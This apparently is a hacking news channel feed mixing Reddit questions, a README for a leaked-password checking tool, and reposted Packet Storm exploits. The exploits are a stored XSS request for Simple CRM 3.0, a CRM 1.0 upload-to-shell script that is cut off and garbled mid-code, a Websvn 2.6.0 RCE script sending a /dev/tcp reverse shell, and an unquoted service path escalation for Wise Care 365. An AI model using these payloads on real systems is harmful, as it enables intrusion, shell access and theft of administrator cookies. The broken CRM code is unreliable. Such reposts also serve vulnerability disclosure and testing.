hacking: security in practice
Help finding a talk about Stuxnet

Hi, I remember having seen a video talking about Stuxnet, although I kind of remember it was named differently or something, I remember something as "fire storm" or something like that.

I could almost swear that it was a TED talk by Mikko Hypponen but I kind of fast checked his three TED talks and didn't find what I wanted, he just barely mentions it in his Virus talk.

What I am looking for is specifically is a video that talked about how the creators of this virus were able to target the Iranian (or somewhere's government) reactors by using photos (like the ones in this article) they took and posted online, thus giving the attackers important information about the arrays in the nuclear plant.

I think it's a great video that explains very clearly the risks of information leaks and the lengths an attacker will go to harm a system.

Thanks in advance.

submitted by /u/pinchitony
[link] [comments]

Dirb question
https://www.reddit.com/r/Pentesting/comments/o5y84s/dirb_question/

I have run dirb in kali Linux against a domain and it has brought up a lot of results. Some include /.passwd and such as /.ssh. Is there any way to access this or is it blocked by a firewall? I am just trying to understand submitted by /u/001011001101 (https://www.reddit.com/user/001011001101)
[link] (https://www.reddit.com/r/Pentesting/comments/o5y84s/dirb_question/) [comments] (https://www.reddit.com/r/Pentesting/comments/o5y84s/dirb_question/)

___________________________
@hacking_Attack
@Hacking_Video

HashCheck - Tool To Assist In The Search For Leaked Passwords
http://www.kitploit.com/2021/06/hashcheck-tool-to-assist-in-search-for.html

___________________________
@hacking_Attack
@Hacking_Video

This project aims to assist in the search for leaked passwords (https://www.kitploit.com/search/label/Passwords) while maintaining a high level of privacy (https://www.kitploit.com/search/label/Privacy) using the k-anonymity method. To achieve this, the APIs of different services are used, sending only a part of the Hash of the password we want to check, for example, the first 5 characters.
Prerequisites
The project needs some libraries in order to work, to install it use the next command: pip install -r requirements Remember that Python 3 (https://www.kitploit.com/search/label/Python%203) is required.
Usage
passme.py [FUNC] [ELEMENT] -engine [ENGINE] -api_key [API_KEY] FUNC: The kind of element tha you want to check, it can be -h/--hash or -p/--password
or -f/--file or -l/--list or --help.

ELEMENT: The "Hash", "Password" or the name of the file that contains a list of
hashes or password separeted by a new line.

ENGINE: The leaks engine that you want to be used, by default it uses HIBP (Have I been PWN).

API_KEY: The API_KEY necessary for some functions of some engines.

Functions

PASSME_HASH
The main project function receives the hashed password, the engine to be used and the API key. Depending on the engine that is received, both the API key and the hashed password will be sent to one function or another. If you want to add your own engine or an engine that is not already implemented, simply add one more option here. passme_hash(hashed_password, engine="HIBP", api_key="0")
PASSME_PASSWORD
This function hashes the password it receives using SHA-1 and sends the hash to the passme_hash() function. passme_password(password, engine="HIBP", api_key="0")
PASSME_FILE
This function reads one by one the lines of the received file to check each password, giving information about the received password and whether it has been filtered or not. passme_file(filename, engine="HIBP", api_key="0")
PASSME_LIST
This function reads one by one the lines of the received file to check each hash, giving information about the received hash and whether it has been filtered or not. passme_list(filename, engine="HIBP", api_key="0")
PASSME_LIST
The function that deals with the HIBP (Have i been pwned) API, sends the first five characters of the hash, then compares it with the full hash to see if the password/hash has been leaked. engine_HIBP(hashed_password, engine, api_key)
Test
This project has a series of tests to check the correct operation of all its functions, for this purpose the "pytest" library (https://www.kitploit.com/search/label/Library) has been used. To run the tests, install pytest with the following command: pip install pytest Once installed, simply run the "pytest" command to have the tests run automatically, any errors encountered will be returned by the terminal. The results of the test in the lab are the following: Python Version Function Hash Function List Function Password RANDOM Hash RANDOM Password Comment 3.9 ✅ ✅ ✅ ✅ ✅ 3.8 ✅ ✅ ✅ ✅ ✅ 3.7 ✅ ✅ ✅ ✅ ✅ 3.6 ✅ ✅ ✅ ✅ ✅ 3.5 ✅ ✅ ✅ ❌ ❌ Random.choice is not available in Python 3.5 // Deprecated Python Version
Contact
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. This software doesn't have a QA Process. This software is a Proof of Concept. If you have any problems, you can contact: ideaslocas@telefonica.com (mailto:ideaslocas@telefonica.com) - Ideas Locas CDCO - Telefónica
Disclaimer

___________________________
@hacking_Attack
@Hacking_Video

In many places it can be a crime to install software on a computer that does not belong to you, without the owner's consent. We do not approve the use of PoC for any illegal purpose. To download or use our software in any way, you must acknowledge and approve the following: 1 - You declare that this PoC will be used exclusively in a legal manner. If you are in doubt as to the legality, consult a licensed attorney in the jurisdiction where you will be using this PoC. 2 - You acknowledge that the computer on which the software is to be installed is yours or you have the owner's consent to manage and install the software on it.

Download HashCheck (https://github.com/Telefonica/HashCheck)

___________________________
@hacking_Attack
@Hacking_Video

Interview with Legendary Bug Bounty Hunter Alexander Schlindwein

Alexander Schlindwein has quickly become one of the top players in DeFi security after claiming some of the biggest bounties in the world…Continue reading on Immunefi »
Read more...

Exploit Collector
Simple CRM 3.0 Cross Site Scripting

https://2.bp.blogspot.com/-GUn1a49o67Q/WWlu9F-J_rI/AAAAAAAAIJo/HAAKEGfKUXIq4oSJFA9qEBzdRn_AvSgtACLcBGAs/s1600/h113.png
Simple CRM version 30 suffers from a persistent cross site scripting vulnerability.

MD5 | f93a62b1f7f334d944c71d1a34837176

Download
# Exploit Title: Simple CRM 3.0 - 'name' Stored Cross site scripting (XSS)
# Date: 20/06/2021
# Exploit Author: Riadh Benlamine (rbn0x00)
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/small-crm-php/
# Version: 3.0
# Category: Webapps
# Tested on: Apache2+MariaDB latest version
# Description : Simple CRM suffers from Cross-site scripting, allowing authenticated attackers to obtain administrator cookies.

Vunlerable page: /crm/profile.php

POC:
----
POST /crm/profile.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------386571683933745493952831205283
Content-Length: 779
Origin: http://localhost
Connection: close
Referer: http://localhost/crm/profile.php
Cookie: PHPSESSID=l0iqlrmehhcasinv0ip09e3ls1
Upgrade-Insecure-Requests: 1

-----------------------------386571683933745493952831205283
Content-Disposition: form-data; name="name"

-----------------------------386571683933745493952831205283

Content-Disposition: form-data; name="alt_email"

-----------------------------386571683933745493952831205283

Content-Disposition: form-data; name="phone"
0123456789

-----------------------------386571683933745493952831205283

Content-Disposition: form-data; name="gender"
m

-----------------------------386571683933745493952831205283

Content-Disposition: form-data; name="address"

-----------------------------386571683933745493952831205283

Content-Disposition: form-data; name="update"
Update

-----------------------------386571683933745493952831205283--


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Customer Relationship Management System 1.0 Remote Code Execution

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Customer Relationship Management System version 1.0 suffers from a remote code execution vulnerability.

MD5 | 99340adb5ad46f21eb2f6d0bdb63c633

Download
# Exploit Title: Customer Relationship Management System (CRM) 1.0 - Remote Code Execution
# Date: 21.06.2021
# Exploit Author: Ishan Saha
# Vendor Homepage: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/crm_0.zip
# Version: 1.x
# Tested on: Ubuntu

# REQUREMENTS #
# run pip3 install requests colorama beautifulsoup4

# DESCRIPTION #

# # Customer relationship management system is vulnerable to malicious file upload on account update option & customer create option

# # Exploit Working:
# # 1. Starting a session with the server
# # 2. Registering a user hackerctf : hackerctf and adding payload in image
# # 3. Finding the uploaded file location in the username image tag
# # 4. Runing the payload file to give a shell
#!/usr/bin/python3
import requests , time
from bs4 import BeautifulSoup as bs
from colorama import Fore, Back, Style

# Variables : change the URL according to need
URL="http://192.168.0.245/crm/" # CHANGE THIS
shellcode = ">> "+ Fore.RESET)
if cmd == 'exit':
break
print(ShellSession.get(location + "?cmd="+cmd).content.decode())

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Websvn 2.6.0 Remote Code Execution

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
Websvn version 2.6.0 suffers from a remote code execution vulnerability.

MD5 | 6ae7383ff4fe81d3446640a77cf479db

Download
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305

import requests
import argparse
from urllib.parse import quote_plus

PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.149/4444 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'

parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")

args = parser.parse_args()

if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()

requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))

print("[*] Request send. Did you get what you wanted?")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Wise Care 365 5.6.7.568 Unquoted Service Path

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Wise Care 365 version 5.6.7.568 suffers from an unquoted service path vulnerability.

MD5 | 1e5c422e986035f8e0e5d6d5e68ecce2

Download
# Exploit Title: Wise Care 365 5.6.7.568 - 'WiseBootAssistant' Unquoted Service Path
# Date: 2021-06-18
# Exploit Author: Julio Aviña
# Vendor Homepage: https://www.wisecleaner.com/wise-care-365.html
# Software Link: https://downloads.wisecleaner.com/soft/WiseCare365_5.6.7.568.exe
# Version: 5.6.7.568
# Service File Version 1.2.4.54
# Tested on: Windows 10 Pro x64 es
# Vulnerability Type: Unquoted Service Path
# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%WiseBootAssistant%"' get displayname, pathname, startmode, startname

DisplayName PathName StartMode StartName
Wise Boot Assistant C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe Auto LocalSystem

# 2. To check service info:

C:\>sc qc "WiseBootAssistant"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WiseBootAssistant
TIPO : 110 WIN32_OWN_PROCESS (interactive)
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Wise Boot Assistant
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem
# 3. Exploit:

A successful attempt to exploit this vulnerability requires the attacker to insert an executable file into the service path undetected by the OS or some security application.
When restarting the service or the system, the inserted executable will run with elevated privileges.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video